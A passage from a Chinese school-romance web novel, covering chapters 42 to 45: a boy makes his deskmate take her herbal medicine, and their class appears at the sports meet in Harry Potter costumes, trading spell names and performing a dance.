女生正和前桌说笑打闹，嬉笑时，前桌用力推了下课桌，桌子倾斜歪倒，抽屉里的保温杯随之咕噜噜滚到女生腿上。 女生愣了下，及时伸手抓住杯子，免得掉地上。 保温杯颜值超高，很漂亮的樱粉色，杯身上印着带有春天气息的卡通花瓣绿叶，杯盖处挂了个配套的绿叶挂件。 女生眼前一亮，忍不住拿起来打量，结果一凑近杯子，便因为过于灵敏的嗅觉，闻到了一股中药味。 她瞬间皱眉，鼻尖耸动，下意识去闻了闻保温杯，然后放到桌上，对前桌说：“破案了！我就说老是闻到一股中药味，原来是因为这个啊，估计里面装中药了。” 前桌哇了声，好奇问：“这杯子好好看啊，什么牌子的，想买同款！” “我看看啊。” 柯译衍把物品放进储物柜，转身回座位，一眼瞧见眼镜女生手里拿着姜织宁的保温杯。 他立马皱眉了下眉。 心想，她没拿走吗？ 昨天姜织宁爬楼回一班午休，在班里喝完中药才去考场，今天中午没看见她回班休息，保温杯却没带走，这说明什么？ 柯译衍叹了口气，他根本猜都不用猜，就知道姜织宁又犯拖延症，不按时喝药了。 在他印象中，她的拖延症已经被他抓到好几次，每次问她，她就敷衍说等下，等到猴年马月那种。 说白了，这人就是惯犯。 柯译衍看着保温杯，无语心想，要么直接去姜阿姨那边告一状得了，这样姜织宁会不会老实点。 他无奈走过去，对女生淡道：“保温杯给我。” 眼镜女生滞了秒，把杯子递给他，柯译衍接过，抱着万一是误会的想法，特意打开杯盖瞥了眼。 结果，满的。 可以，多此一举，是他想多了。 柯译衍面无表情盖上杯盖。 惯犯之所以被称为惯犯，就是因为屡教不改，嗯，他就不能对惯犯抱有任何期待。 柯译衍平静放下保温杯，对眼镜女生说：“麻烦让下，拿点东西。” 女生有被惊讶到，但仍然第一时间起身让开，柯译衍右手撑着桌面，俯身看向姜织宁课桌抽屉，里头空荡荡，只有一小包酸糖。 他伸手拿出酸糖，带着保温杯一起，快速离开教室。 眼镜女生愣愣望着柯译衍离开的背影，半响，反应过来坐下，茫然看向前桌：“衍神刚才拿了包糖？” 前桌回忆了下，说：“应该是吧，包装看着花花绿绿，估计是软糖之类。” 眼镜女生：“他拿糖和保温杯干嘛啊？画风突变” 不愧是学霸，推理能力也是一流，前桌若有所思，很快分析道：“你不是说保温杯里装了中药吗，所以杯子谁的？” 眼镜女生：“呃，这座位好像是哦对了，是宁王的位子，双A组是同桌。” 前桌断定：“柯译衍应该是给姜织宁送中药去了。” 眼镜女生有些震惊：“不会吧，衍神对宁王这么照顾的吗？？？我感觉他人很冷酷哎，不收情书不收礼物，完全不给女生任何表白机会，绯闻绝缘体！” “就前几天啊，我看到10班班花在图书馆后门堵他，当面表白哦，结果他全程冰山脸怎么到宁王这边，他就态度不一样了？” 前桌见怪不怪地说：“哎呀，不就是帮忙拿下中药吗，和别的没关系，人家是同桌嘛，应该私下关系还可以的，不然怎么叫双A组。” 眼镜女生悄悄说：“这个双A组啊，你不觉得更像CP名吗？” 前桌：“是挺像的，但我觉得吧，姜织宁和柯译衍做同桌有段时间了，这两位都不像是会搞暗恋的人，要谈的话早就谈了。” “而且，宁王不是有个在读高三的青梅竹马吗，那位学长才更像是真CP吧，我以前老看到学长和宁王有说有笑走一起，你有看过宁王和柯译衍走一起吗？” 眼镜女生被说服了：“那倒是……没有吧。” 前桌：“之前我听谁提了嘴，好像说双A组的家长互相认识，忘了谁说的。” 眼镜女生吃惊啊了声，残余的嗑CP想法瞬间全部消失，惋惜叹了口气。 “这样啊，那倒是说得通了。” “所以保温杯是什么牌子？” “忘记了。” “晕，回头我自己问宁王。” * 姜织宁没什么睡意，在桌上趴着眯一会儿后，身体做直，右手撑着脸颊，双眼放空看向窗外成排的桂花树。 少女闻着桂花香，在发呆。 忽然间，耳边响起一道杯子放下的磕碰声。 她眼尾轻瞥过去，瞄见桌角处莫名其妙冒出个保温杯，和自己用的是同款，与此同时，察觉到有人朝她投来一大片厚重阴影。 姜织宁放下右手，抬头望去，发现站桌边的人是柯译衍，她愣怔仰头看着他，心想他来干什么？ 柯译衍也没和她废话，懒得解释，直接下巴冷淡一抬，业务熟练地冲保温杯指了下。 姜织宁：“” 哦……心里忍不住长叹一口气，懂了，知道柯译衍特意下楼来找她做什么了。 想到这，她内心再次叹气，怎么回事啊，为什么在喝药这件事上，她就偷不了一点懒呢！ 每回都能让他抓住 姜织宁算是发现了，柯译衍在大部分事情上都很好说话，唯有吃药这件事，他很有原则。 之前她奇怪问过他，干嘛这么关心她吃药。 柯译衍淡声说，他也不想关心，只不过班主任交待了照看她，并且私下找他问过，所以是出于良心，还叫她少做让他良心不安的事。 这半合理半离谱的解释 四目相对，一片无言中，姜织宁决定装死，于是表情无辜地问：“你拿我保温杯干嘛？” 还装呢？ 柯译衍也不惯着，居高临下目视她，脸上没什么表情地说：“拖延症又犯了是吧？把药喝了。” 知道柯译衍绝不是会私自翻同学抽屉的人，但问题是，保温杯被她放在抽屉里，他不刻意去看的话，怎么知道她没喝中药？ 姜织宁不得不怀疑问：“你翻我抽屉了？” 柯译衍淡声回：“没有，是天意。” 姜织宁：“？” 柯译衍平静说：“本来没想看，估计老天爷也看不下去惯犯的拖延症，特意安排保温杯滚出来，主动提醒我打开杯盖看一眼。” “谁是惯犯？” 姜织宁眼神迷茫。 顾虑到周围有人，柯译衍相当客气，给惯犯留了个面子，就没明说，用一副“还有谁，当然是你”的谴责眼神，静静注视着姜织宁。 “”姜织宁摆出严肃脸，“什么天意，我唯物主义者啊，你肯定翻我抽屉了。” “我闲的？”柯译衍不和她说笑，眼神冷淡下来，催促一声，“快点喝。” “知道了啊。”姜织宁表情不太情愿，作势去拿保温杯，打算放到窗台上，“你放心，我等下就喝。” 结果手还没碰到杯子，就被柯译衍压住，一副不让她拿走的强硬态度。 这什么意思？ 她沉默了下，面无表情问：“你不会是要站这里等我喝完吧？” 柯译衍不冷不热嗯了声。 无语，就离谱 她忍不住感叹一句：“柯译衍，我觉得你以后特别适合当医生，你对患者肯定很负责。” “少扯没用的。”柯译衍目无情绪，油盐不进。 “”姜织宁微微睁大眼，不可思议看着他，“不是，你来真的啊？马上要考试了，你赶紧回考场啊，等会儿迟到。” 柯译衍嗯了声，顺着她话说：“所以你赶紧喝。” “就现在。” “快点。” “喝完杯子我拿走。” 姜织宁无语看着他，话都说不出来了。 “看我多久都没用。” 柯译衍不咸不淡补了句，一副不看她喝完就不走的警告模样。 姜织宁赌气扭头看向窗外，不想搭理他了。 少女上演沉默是金，柯译衍很有耐心，足足等了她十几秒，看她依然一动不动，气笑点了点头。 他毫无感情地喊起她名字。 “姜织宁。” 少女没反应。 “宁王。” 还是没反应。 “宁宝。” “” 姜织宁眼睫轻眨了一下。 宁宝？ 卧槽！从未听过，这是什么独家爱称？？？ 前桌男生虎躯一震，震惊转身，意味深长打量起双A组。 当众被喊小名，姜织宁脸颊泛起一丝热意，不自然深呼吸，慢吞吞回头。 柯译衍注视着她，淡声训道：“你能不能讲点道理。” 话落，悠悠补了句：“大小姐。” 大小姐？ 脸颊热意因为这三个字，瞬间猛升。 姜织宁静默数秒，拿他没办法，只能顺从拧开保温杯，一边喝药，一边臭脸硬邦邦说：“我有时候不是故意拖延，是真忘了。” 这倒是没说谎，和脑袋被砸之前比起来，她现在记忆确实下降不少，总是丢三落四。 “嗯，你这么说倒是提醒我了。”柯译衍缓缓点头，好说话表示，“这好解决，以后我会提醒你。” “以防万一，我会检查。” “既然已经是朋友了，麻烦你以后自觉点。” “别让我良心不安。” 姜织宁：“” 她不就解释一句吗，怎么说完她就掉坑里了？ 以前柯译衍最多算关心，偶尔问她一句药喝了没，现在照他这意思，是要每天定时定点监督她咯？ 还故意拿朋友的名义来压她，不是，今天是什么好日子啊？居然让她喜提监工一名。 晕，她能谢绝来自朋友的好意吗？现在绝交还来得及吗？ 蹙眉喝药的时候，监考老师拿着试卷走进班里。 老师瞄见柯译衍突兀站在后排，愣了下，随即面容严肃地说：“那位男同学，站别人座位旁边干什么？赶快坐回自己位子。” 前桌男生乐呵呵听完八卦，抬手指了下姜织宁，好心帮忙回：“老师，这位同学忘记带中药，她同桌正好给她送过来。” 老师脸色稍缓：“考试马上开始，赶紧回座。” 姜织宁心中一紧，连忙喝完最后两口，旋紧杯盖递给柯译衍，着急催促：“快走快走！” 柯译衍一点也不急，把酸糖放到桌上，拿上保温杯，不紧不慢离开教室。 监考老师拆开试卷，正准备分发，余光突然瞄见柯译衍从教室后门走了出去。 她再次皱眉，看向姜织宁，奇怪问：“你同桌怎么回事，我让他回座位，他怎么出去了？” 姜织宁滞了秒，不得不微笑解释：“老师，他考场在一班。” 第43章 她玩不过他 两天月考顺利结束, 最后一门考完，众人收拾好东西，起身回自己班。 走廊上人流如织, 高二一班气氛闹哄哄。 有人到处对答案，有人哭爹喊娘说考砸了, 有人忙碌整理桌椅复原物品，有人饿得狂吃零食。 没过多久, 宣传委员于佳领着几名男生，把定制好的运动会班服拿进班里, 统一搬放到讲台上。 坐在前排的几个人立马感兴趣围住讲台。 “这是班服吗？” “肯定是啊, 后天就要开运动会了！” “快让我瞅瞅！” “先看看背面长什么样。” 见状, 于佳挥舞手中表格，不客气拍打几双乱动的手, 教训道：“都按照尺码分好了，别给我乱动啊！” 班里吵闹得不行, 于佳用力拍了拍讲台，大吼说：“安静一下！运动会班服到了, 我现在开始点名，喊到名字的同学上来拿班服。” 姜织宁拿到衣服后, 顺势打开检查。 班服的设计非常亮眼, 视觉效果很燃的涂鸦艺术风。 以哈利波特三强争霸赛为设计灵感来源, 衣服背面中间印了个燃烧的冠军奖杯, 熊熊火焰中，迸发出醒目显眼的班级口号——All Kill, 同时向四周蔓延出魔杖、星星、焰火等元素。 更别具一格的是, 全班每一位同学的姓名都以拼音形式印在了奖杯周围，特别有意义。 不一会儿, 班长、文艺委员和几名男生抬着几个纸箱走进班。 文艺委员走上讲台，高声宣布：“大家拿到班服先别着急走，现在开始发走方阵的衣服！女生，布斯巴顿校服和配饰，男生，四大学院校服和配饰！” “拿到衣服的同学，先检查配饰是否齐全，不全的来找我！然后趁现在，上身试下衣服大小，不合身的同学务必在晚自习前告诉我，否则无法更换尺码，尤其是女生这边！！！” 天蓝色翻边尖头小礼帽，重工天蓝色丝绸小斗篷连衣裙，连衣裙的袖口和领口皆秀着精致细腻的立体花纹，一整套看上去非常高贵优雅的魔法学校校服。 女生们拿到衣服后，激动得不行，反复惊呼太美了，纷纷赶去厕所试穿。 有人换好连衣裙后，临时发现小礼帽落在班里，只能穿着裙子跑回班里试帽子。 走廊上，几抹吸睛亮眼的蓝色身影如风拂过，其他班学生看得双眼发直。 “这不是一班的女生吗，她们身上穿的什么啊！是不是运动会班服？” “肯定是走方阵的衣服啊！哎哟，一群南法的蓝蝴蝶，优雅，实在是优雅！” “卧槽，好漂亮啊！是哈利波特里的校服哎！” “啊？哪个学院的，我怎么不记得有这套校服。” “不是霍格沃茨，是出场带有蓝蝴蝶，三强争霸赛里的布斯巴顿魔法学校。” “哦哦哦，我想起来了，那个跳舞行礼的芙蓉学姐！晕，一班这次穿这么牛啊！” 姜织宁也是忘拿礼帽的人之一，她调整着袖口，步伐匆匆回到教室，顺便从隔壁女生那边借了面镜子。 镜子架在课桌上，对镜戴上蓝色小礼帽，左右调整好位置，确认大小合适后，她起身把镜子还给女生。 走回座位，正好碰上柯译衍回班，这会儿班里男生全都穿上了四大学院校服，互相幼稚挥舞着魔杖打闹，只剩柯译衍还没换衣服。 姜织宁双手交叠于背后，慢悠悠走到他面前，笑盈盈问：“这位同学有点眼生，请问，你是霍格沃茨哪个学院的学生？” 柯译衍轻挑了挑眉，抬眼仔细打量她。 少女头戴礼帽，黑而亮的长发披肩，及膝斗篷连衣裙鲜妍优雅，一身尽显美丽高贵的南法穿着，很符合她的气质。 柯译衍没回答，浅笑反问：“你呢？看着有点眼生，好像不是霍格沃茨的学生。” 姜织宁抿唇微笑：“来自布斯巴顿魔法学校。” 她抬起左手，轻放胸前，微微屈膝垂首，优雅地对他行了个礼。 柯译衍笑看着她。 柯译衍拆开衣服包装，姜织宁迫不及待凑上前瞄了眼，居然是绿色的围巾和院徽。 她脸上露出几分惊讶神色：“原来你选的是斯莱特林。” 她顺势拿起他的魔杖，指向他，施咒：“Incendio（火焰熊熊）。” 柯译衍好笑瞥她一眼，不紧不慢回了句：“Aguamenti（清水如泉）。” 呃用水克她的火？ 姜织宁怔住，不可思议眨了眨眼，完全没想到他能接住她的话，而且在这么短时间里就能想到造水咒。 可以啊他，轻敌了。 她歪头想了想，又念出一句咒语：“Lumos（荧光闪烁）。” 柯译衍慢悠悠回：“Nox（荧光熄灭）。” 她微微睁大眼睛，不信邪，飞快换咒语：“Sonorus（声音洪亮）。” 柯译衍勾了勾唇，依然接的很快：“Quietus（悄声细语）。” “”姜织宁静默数秒，面无表情道，“Stupefy（昏昏倒地）。” 柯译衍慢条斯理：“Enervate（快快复苏）。” 姜织宁：“” 不玩了，她玩不过他。 她识趣放下魔杖，目光惊奇地看着柯译衍，忍不住问：“你该不会是骨灰级哈迷吧？” 柯译衍试穿斯莱特林校服，淡声解释：“算不上，只是看过电影和书。” 姜织宁半信半疑：“是吗？你每次想到相反咒语的速度也太快了。” 柯译衍笑笑，不以为意地说：“这几个不都是常用咒语么，你要是换成别的，我也回答不了。” 姜织宁没反驳，心想也是，她也就记得那几个常用的。 她将疑惑抛到脑后，转而正眼欣赏起柯译衍身穿魔法袍的模样。 魔法袍宽袖带帽，衣长大约到少年小腿位置，外面全黑，内里墨绿色，胸口刺着斯莱特林学院徽章。 柯译衍今天穿了身正装校服，很凑巧，领带正好是墨绿色，再披上长长的黑色魔法袍，整体给人一种神秘帅气、冷静自持、高贵肃穆的既视感。 特别合适，很搭柯译衍的冷感气质。 也不知道是因为身高原因，还是怎么回事，姜织宁总觉得柯译衍穿上魔法袍后，莫名有一种气场全开，来自高年级学长的强势压迫感。 明明她和他同龄。 班后门口，俞杨身穿魔法袍，和隔壁班男生幼稚互吼阿瓦达索命，吼累了才舍得回班。 他从后排走上来，瞄见姜织宁，瞬间眼前一亮，被她的穿着惊艳到。 突然间，他双手掀起魔法袍，在空中浮夸地上下挥舞。 在姜织宁眼里，俞杨彷佛是个从阿兹卡班监狱飞来的惊悚摄魂怪，从远方直冲冲飞向自己。 “咳咳这位来自布斯巴顿魔法学院的美丽小姐，请” 俞杨话笑眯眯看着姜织宁，谄媚话还没说完，就见姜织宁突然拿起柯译衍的魔杖，冲他指了下，同时脸色复杂地念了句咒语。 “Expecto Patronum（呼神护卫）！” 柯译衍拿书的手顿了顿，缓缓侧目瞥了眼姜织宁，唇角逐渐上扬，忍不住偏头闷笑起来。 “啊？Expecto后面是什么来着，什么意思？什么意思啊？” 姜织宁念得快，俞杨一时没听清，又看柯译衍在那边莫名其妙地笑，便傻愣愣的，连声追问柯译衍。 柯译衍笑够了，双手懒洋洋环至胸前，勾起唇角，戏谑说：“守护神咒听不出来吗，意思你是摄魂怪啊。” “我？”俞杨顿时瞪大眼，左手戏精捂住胸口，右手指着自己，一脸受伤表情，吱哇乱叫，“我是摄魂怪？我是摄魂怪？？？！！！” 他指向魔法袍上的红色学院徽章，激动强调：“我俞杨！明明是格兰芬多的勇士好吗！！！” 柯译衍不在意点头，轻飘飘说：“嗯，在那边卧底。” 俞杨：“” 无语间，他看了看面带笑容的姜织宁，接着扭头看了看弯唇浅笑的柯译衍。 双A组，一个是布斯巴顿女神，一个是斯莱特林男神，此时此刻，两个人并肩站在一起，姿态松弛，默契地望着他笑。 颜值爆表的一幕。 俞杨忍不住在心中感叹，真不愧是双A组啊，般配又养眼！ 但与此同时，他还有点来气。 他抛开杂念，忍不住怒吼一声卧槽，扑向柯译衍，痛骂道：“卧个毛线底！你才是卧底，你们斯莱特林全是伏地魔的走狗！！！” 柯译衍嫌弃啧了声，抬手挡开摄魂怪骚扰，脑子里忽然想起一件事，皱眉望向姜织宁，问她：“你不是举牌么？” 话音落下，俞杨像被按下禁止键似的，也不闹了，人就这么半挂在柯译衍身上，歪头看着姜织宁，奇怪说：“是啊宁王，你不是负责举牌吗，还是举牌就穿这身衣服啊？” 姜织宁摆摆手，解释：“举牌换成周导了，我有别的任务。” “周导？？？”俞杨大惊失色，“我去，是我认识的那个周静瑶吗？？？” 周静瑶听见自己名字，慢吞吞转身看向俞杨，面无表情地说：“嗯，是我，你有什么指教吗？” 俞杨一脸懵逼地看着她，深怕自己挨打，下意识慌乱摇头，连声表示：“不敢不敢，周导牛逼！周导威武！” 其实，周静瑶接到这个通知的时候，也很懵逼，包括她的父母。 那天晚上，周静瑶临时接手运动会举牌任务，回家就把这个消息当笑话似的说给父母听。 当时，周妈妈震惊的魂都没了，手中玻璃杯没拿稳，直接摔碎地上。 周妈妈不可思议反问：“你？？？！” 周静瑶淡定点头。 周妈妈去拿扫把处理玻璃碎片，没走两步路，跟梦游似的转身，笔直走到女儿面前，再一次震惊问道：“你在运动会上举牌？就是走方阵最前面的那个人？？？！” 周静瑶：“嗯” 事情的缘由很意外。 自从那天姜织宁提出女生穿布斯巴顿校服的意见，事后文艺委员反复直呼宁王高明。 没过多久，文艺委员找上姜织宁，请求她帮忙排一支全班女生都能学会的漂亮出场舞，说是在方阵入场时表演用。 文艺委员放飞想法说，反正都穿上布斯巴顿校服了，干脆做戏就做全，和电影里一样，来段惊艳全场的出场舞，这样绝对吸睛。 姜织宁觉得想法很有新意，没什么意见，便利用课余时间，到网上找出参考视频，一起和文艺委员扒舞、分解动作、设计队形走位。 她还特意去请教了音暴里的专业编舞老师，舞蹈老师结合电影里的原版舞，帮忙改编了一部分动作，让出场舞更加丰富易学。 借用舞蹈教室，文艺委员叫上全班女生，花费数个晚自习时间，一起和姜织宁教动作，指挥走位。 舞蹈动作并不难，难的是略微复杂的队形和走位，而且需要拿着丝带边走边跳。 班里总共17个女生，大部分人没有舞蹈基础，尽管大家学动作很积极，排练过程也挺好，但真到了开幕式表演那天，难免会心理紧张。 这种情况想要不出岔子，只能老师也参与其中，主打一个示范作用，也就是说，姜织宁需要参与出场舞。 文艺委员委婉提出这个想法，而姜织宁很好说话，直接答应了，她高一高二时已经举过两届牌，今年举不举无所谓。 说实话，她挺乐意跳舞。 不过这样一来，她空出的举牌位就得找人顶替上。 运动会开幕式走方阵，在全校师生的见证下，举牌女生身着华服，优雅领头走在班级最前面，是醒目显眼的唯一主角，也是受关注度和讨论度最高的人。 所以通常来说，开幕式举牌人的竞争相当激烈。 而在高二一班，情况完全反转。 比起举牌，女生们更愿意成为来自南法的耀眼蓝蝴蝶，翩翩绽放。 因为布斯巴顿的女性勇士精神。 因为校服实在太漂亮。 因为姜织宁编排的出场舞美丽优雅。 因为，每个女生都是主角。 举牌一位破天荒受到了冷落，没人愿意接替这项工作，文艺委员很为难，甚至愁眉苦脸找姜织宁提议，说能不能去问下柯译衍，问他愿不愿做举牌男神 反正众所周知，举牌的人肯定是全班颜值最高的，这种紧急时刻，也别管是男是女了，柯译衍真挺合适的，毕竟是校草。 这提议，离谱中带着几分合理性，但姜织宁不敢问，叫文艺委员亲自上。 最后，事情兜兜转转，落到了周静瑶头上。 周静瑶从小就讨厌跳舞弹琴，小时候，她和姜织宁一起学古典舞，课堂上所有小朋友的表现都很出彩，唯独她画风奇怪。 她那舞蹈动作，就像在跳大神，看上去特别唬人，而且经常偷懒闹脾气。 原本周静瑶打算穿魔法袍，跟随男生大部队走方阵，后来文艺委员找上门，请她帮忙，她便爽快答应了。 反正不用让她跳舞就行。 第44章 轻柔涌动的暗潮 运动会开幕式于早上九点半正式开始, 学生们还是按照往常时间到校。 有所不同的是，平日里庄严肃穆的校园俨然变成了热闹的大型游乐园，一路走来, 旗帜彩带随风飘扬，随处可见身穿各种奇装异服的少年少女。 高二一班人声鼎沸, 大家都在忙着到处合影。 霍格沃茨四大学院的学生们在今天短暂握手言和，互相串门合影留念, 来自布斯巴顿魔法学院的漂亮姑娘们，一个个端丽优雅站在镜头前, 面露灿烂笑容。 姜织宁走完方阵后, 马上就要换衣服, 所以这会儿她就像是游乐园里必打卡的著名人物，被同学们拉着各种拍照。 就连平时不好意思和她多说话的几名同学, 也纷纷借此机会，面带羞涩找她合影。 论班里谁拍照最专业, 那当然非周静瑶莫属。 周静瑶不信别人，只相信自己的摄影水平, 所以她很忙。 少女头顶装饰华丽重量不轻的分院帽，手中拿着相机, 到处转悠找角度, 伺机拍照片、录视频。 完全忘记自己举牌人的身份。 不知道拍了多少张照片后, 周静瑶停下来检查, 结果越检查心里越纳闷。 明明全班所有人都拍进去了，怎么总感觉少了点什么？ 她若有所思抬头张望, 不经意间, 瞄见姜织宁结束合影，笑着往前走。 周静瑶脑子里突然灵光一闪。 难怪！ 差点忘记！ 双A组还没有合影！ 比起摆拍, 周静瑶更喜欢抓拍，她举起相机，一直等到姜织宁快要走到柯译衍身边时，才找准时机喊了声：“宁王！” 姜织宁双手交叠身后，闻言朝右回头，笑容明媚看向周静瑶。 少女身姿轻盈，旋转之际，垂坠裙摆瞬间在腿边绽放出一朵灵动漂亮的蓝色鸢尾花。 简直要被这幅画面美呆！ 周静瑶满意笑起来，又冲柯译衍喊了声：“衍神看我这边，身体不动，看镜头就行！” 柯译衍收回注视姜织宁的目光，淡淡看向镜头。 姜织宁侧目看了眼柯译衍，然后目视周静瑶，笑问：“周导你在拍照吗？” 周静瑶：“对对对，给你们双A组来几张，你就这样站着不动啊，看我镜头就行。” 照片很快拍好，周静瑶放下相机挥挥手，示意好了。 吃瓜磕CP永远第一名的追星少女于佳同学，立马凑上前说：“快给我看看双A组的火花！” “视频更好看。”周静瑶翻出视频，递给女生看。 由于是抓拍，所以视频里两个人的状态都很自然，完全没有刻意痕迹。 画面中，柯译衍身穿蛇院黑色魔法长袍，双手懒散环在胸前，姿态松弛倚靠课桌，正偏头听前桌说话。 紧接着，周静瑶喊了声宁王，姜织宁笑看向镜头，与此同时，柯译衍下意识回头望向姜织宁，静静注视着她。 她在笑，他在看。 柯译衍冷酷看镜头的时候，姜织宁眉眼含笑目视着他，柯译衍似有察觉，在姜织宁收回目光之前，意味不明地同她对视一眼。 最终，少年少女一起看向镜头。 一段无声胜有声的美好画面。 如果心思细腻点，便能察觉出画面中流动着一股不易察觉，轻柔涌动的暗潮情绪。 周围桌椅的背景也完全不违和，反而是青春的最好点缀。 总之，就四个字—— 太出片了！！！ 于佳反复看了好几遍，才依依不舍把相机还给周静瑶，她忍不住感叹说：“拍的太绝了！慢速剪辑一下，再配个滤镜，就很有宿命感那味。” “此话有理，采用。”周静瑶赞同点头。 于佳：“双A组这逆天颜值，投稿到网上绝对会爆！” 于佳：“不瞒你说，光看视频，我脑子里已经有故事画面了。来自南法布斯巴顿的高贵大小姐，受邀随队飞至霍格沃茨参加交流学习，学习期间，大小姐意外结识斯莱特林学院的冷酷男神，两人互相吸引，就此展开一段虐恋情深！” 她总结道：“嘶，你觉得这个故事怎么样？” 周静瑶佩服点头：“不错不错，笔给你，我等你惊世大作。” 于佳哈哈大笑起来，开玩笑说：“那我可真去写了啊！” “我看行。” 时间一到，所有学生下楼去操场，按照顺序，排好走方阵的位置。 因为耀眼夺目的布斯巴顿校服，去操场的路上，一班女生受到了不少路人的羡慕关注。 几位高一学妹中途看见姜织宁后，嘴里激动大吼：“啊啊啊啊啊！是芙蓉学姐啊！她好美啊！！！” 一边大喊，一边从远处猛冲过来求合影。 周静瑶今天的打扮尤为亮眼，头上戴着装饰华丽的分院帽，脸上红黑色调的烟熏妆容惊艳大胆，身穿暗黑系女巫裙。 不过，她刚才拍照姿势过多，导致头上颇有重量的分院帽有点歪斜，等待期间，姜织宁一直在帮忙她调整加固。 方阵走得挺快，没过多久，主持人便报到了高二一班。 话音落下，在场所有人的目光全部默契望向一班女生们，窃窃私语着。 “你看那个班，女生穿得太漂亮了吧！” “是啊，这一比起来，咱们班搞得好随意啊！” “哎，姜织宁是不是就在这个班？是举牌的吗？！” “对啊，校花校草都在这个班，但好像举牌的不是姜织宁哎，好奇怪。” “不会吧，姜织宁没参加走方阵？” “哦哦哦，我看到她了！方阵队伍第一排，辫子上绑蓝丝带那个！” 周静瑶举牌走在最前面，后面十六名女生排成四排，最后面是男生队伍，方阵快要走到主席台位置时，广播及时切换成开场舞音乐。 姜织宁站在第一排，转头看了眼站在第三排的文艺委员，对方会意点点头，示意自己这边准备好了。 紧接着，两个人各自带领队员，跟随音乐，脚下变幻起优雅舞步，笑容明媚地向前跳跃起来。 舞蹈糅合了芭蕾元素，轻盈灵动，蓝色斗篷连衣裙在阳光照耀下熠熠生辉，这一刻，仿佛十六只蓝闪蝶在空中翩翩起舞。 移动到主席台前方时，方阵队伍停下来，女生们挥舞起手中的丝带，巧妙变换队形，表演了一小段精彩的丝带舞。 学生们看得目瞪口呆。 “卧槽？” “卧槽！” “卧槽” “太绝了！太漂亮了！” “学姐们太美了啊啊啊啊！！！！” “一班这么牛的吗，还以为是正常走方阵，没想到还准备了舞蹈！” “人家还是理科班哦，一群学霸，太厉害了。” “我去，这也太卷了吧！不知道的还以为她们是艺术生！” “真不愧是学霸啊，能文能舞，什么都能做好。” “这么用心的表演，那不得拿个奖回去？” “他们班男生手里拿的魔杖也很酷哎，居然真的能喷火！！！” “是吧，等会儿去问问哪里买的，魔杖太酷了！” 盛大开幕式在欢声笑语中结束，学生们有序散场，坐到操场看台上提前划分好的班级大本营。 姜织宁不坐看台，坐在看台旁边的红色帐篷里，一班后勤组、宣传组的同学全在这边工作。 她从帆布包里拿出电脑放到桌上，网球联赛志愿组的老师给她下发了任务，需要她统计表格数据，汇总参赛球员相关信息。 方阵走完后，周静瑶便投入到本职工作，拿着相机满场乱跑，时不时充当啦啦队，给比赛的同学呐喊加油。 天清气朗，骄阳炽热刺眼。 周静瑶跑累了，烦躁扯着领口，一路飞奔进帐篷，气喘吁吁坐到姜织宁身边。 她从地上纸箱里拿了瓶矿泉水，骂骂咧咧道：“我去，这天也太热了吧！饿死我了，怎么还没到午饭时间啊？！” “包里有零食，自己拿。”姜织宁抽空指了指帆布包。 周静瑶冲她比心：“爱你！” 于佳正在写加油稿，闻言笑看向周静瑶，打趣说：“周导啊，你来学校干嘛的？就想着吃饭吗？” “对啊，吃饭不积极，思想有问题。”周静瑶笑嘻嘻回。 于佳：“有道理，那是巧克力饼干吗，快给我来一根。” 这时候，校学生会宣传干部走进帐篷，眼睛扫了一圈，最后落到于佳身上，提醒说：“于佳，你们班要放的歌还没报上来，是选择放弃吗？” 于佳愣了愣，脸色懊恼拍了下桌子：“哎呀，我给忘记了！等会儿啊，我现在想一下。” “要尽快，想好后直接去学生会帐篷里告诉我。” 等人走了，靠在姜织宁肩膀上吃饼干的周静瑶歪了歪头，好奇问：“什么要放的歌啊？” 于佳解释：“就是运动会期间，每个班可以到广播站点歌，送给自己班同学，算是一种加油鼓劲吧，和加油稿差不多道理。” “哦，懂了。” 于佳求帮忙，说：“你们有什么意见吗？” 周静瑶：“有没有什么限制要求啊？” 于佳：“这倒是没说，不过肯定是积极向上，正能量，寓意好，燃一点的曲风比较合适，毕竟是运动会加油嘛，葬爱风格绝对不行，会被否掉。” 周静瑶思考片刻，又问：“那纯音乐呢，没歌词的纯音乐行不行？” 于佳：“也可以啊，我先听听看，是谁的作品？” 周静瑶拍了拍姜织宁肩膀，神神秘秘冲她挤眉弄眼。 彼此是相处了这么多年的好朋友，姜织宁还能不知道周静瑶什么意思吗，听她提起纯音乐的时候，就已经猜到她想说谁。 姜织宁弯唇笑起来，默契看向于佳，下一秒，和周静瑶异口同声，大喊出—— “K！！！” 于佳一头雾水，呆愣望着眼前突然笑闹成一团的两个人，迷茫问：“啊？什么意思啊？什么K？？？” 姜织宁还有工作要忙，笑推周静瑶，“周导你来讲。” 周静瑶起身四处观察，确定附近没有老师后，偷偷摸摸拿出手机。 她用外套挡住手机，一边打开音乐app，一边科普道：“就是有个蛮出名的音乐博主，名字叫K，他的作品都是纯音乐，不过这不是重点。 于佳顺势问：“那种重点是？” 周静瑶神秘兮兮地说：“重点是，这个博主是有点气运在身上的” 第45章 蝴蝶从他心上掠过 吃过午饭, 稍作休息，下午的比赛项目按时举行。 姜织宁回到帐篷，对照班级物资表, 现场清点了一遍，然后列出要采购的清单, 交给负责采购的同学。 人走后，帐篷里只剩下姜织宁独自看家, 她再次拿出电脑干活。 还是网球联赛志愿组那边派过来的任务，老师让她用英文写两篇关于网球联赛的赛前宣传, 通过审核后, 将投稿到专业学生英文报上。 姜织宁没着急动笔, 先去网页上查找相关资料。 “宁王在看什么呢，这么认真。” 俞杨刚比完男子短跑, 双手叉腰走进帐篷，一屁股坐到姜织宁旁边椅子上。 姜织宁翻出一包湿巾递给他, 提醒说：“地上有运动饮料。” “不用，刚才喝过了。”他摆摆手, 顺势看向电脑屏幕，愣了下, 随即笑道, “哟, 这不是XX网球俱乐部吗！早些年我在这里训练过一段时间, 他们以培养青少年球员为主，宁王想学网球？” 姜织宁摇头解释：“老师让写网球联赛宣传稿, 找资料顺手点进去了。” 俞杨看着屏幕里的小球员合影, 脑子里灵光一闪，忽然冲姜织宁贼笑道：“宁王, 想不想看衍神小时候的照片？” “哪里啊？”姜织宁好奇问。 他笑眯眯道：“我找给你嘛，就说想不想看。” 姜织宁本着国人来都来了的传统，笑回：“想看。” 俞杨摩拳擦掌，迫不及待表示：“电脑借我用一下。” 姜织宁起身把电脑让给他，坐到旁边等待。 只见男生在搜索框里快速输入某个网球学院的名字，页面跳转进入官网，他点进新闻中心，一边翻找往年媒体报道，一边紧张提醒：“宁王你帮我把把风啊，要是衍神来了，你一定要提早告诉我，我怕他锤我！” 姜织宁静默了下，狐疑问：“不会是什么黑历史照吧？” 俞杨：“也不是，就以前打比赛的照片。” “那没事，咱们阅后即焚。”她开玩笑说。 